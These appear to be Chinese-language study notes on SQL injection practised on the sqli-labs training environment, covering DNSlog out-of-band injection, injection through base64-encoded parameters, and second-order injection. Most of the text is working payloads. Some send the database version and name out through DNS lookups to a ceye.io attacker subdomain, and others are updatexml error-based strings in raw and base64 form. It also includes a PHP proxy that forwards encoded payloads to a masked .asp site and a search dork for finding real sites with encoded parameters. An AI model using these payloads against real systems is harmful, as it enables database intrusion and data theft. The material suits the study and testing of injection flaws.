#加解密,二次,DNSlog 注入
注入原理,演示案例,实际应用(中转注入)
DNSlog:解决了盲注不能回显数据,效率低的问题
http://127.0.0.1:8080/sqlilabs/less-2/?id=-1 and if((select load_file(concat(’\\’,(select
version()),’.1t7i2f.ceye.io\abc’))),1,0)–+
D:\Python27\python.exe dnslogSql.py -u “http://127.0.0.1:8080/sqlilabs/Less-9/?id=1’ and ({})–+”
涉及资源:
http://ceye.io/
https://github.com/ADOOO/DnslogSqlinj
<?php $url='http://xxxx/job_bystjb/yjs_byszjs.asp?id='; $payload=base64_encode($_GET['x']); echo $payload; $urls=$url.$payload;file_get_contents($urls); echo $urls; ?>二次注入原理
实战情况需要搭配源码进行代码审计,扫描工具是扫不出来的!
sqlilabs-less21-cookie&加解密注入
(需要加密才能进行注入)代码中有解密
admin’ or updatexml(1,concat(0x7e,(version())),0) or ’
base64加密
YWRtaW4nICBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwodmVyc2lvbigpKSksMCkgb3IgJw==
admin’ or updatexml(1,concat(0x7e,(database())),0) or
base64加密
YWRtaW4nICBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoZGF0YWJhc2UoKSkpLDApIG9yICc=
MQ== (base64解密为1)
inurl:id=MQ==
现实中许多网站中都有加密
加解密注入:
一 判断出对方的参数采用了加密
二 采用了什么加密形式,(加密算法)
三 拼接注入语句然后加密进行注入
sqlilabs-less24-post 登陆框&二次注入
然后修改superman’# 的密码为666666
结果修改后
Superman的密码变成了6666666,superman’# 的密码没变
这是因为
修改密码时,预先存入的数据(‘#)在进行数据拼接的时,把后面的语句注释掉了!
也可以爆数据库版本如:在
实际中会对用户名长度进行限制,前端限制(自行修改突破)后端限制就G了
sqlilabs-less9-load_file&dnslog 带外注入
高权限注入
注册一个ceye账号;
http://ceye.io/
select * from users where id=1 and if((select load_file(concat(’\\’,(select version()),’.jepxiv.ceye.io\abc’))),1,0);
select * from users where id=1 and if((select load_file(concat(’\\’,(select database()),’.jepxiv.ceye.io\abc’))),1,0);
dnslog工具
https://github.com/ADOOO/DnslogSqlinj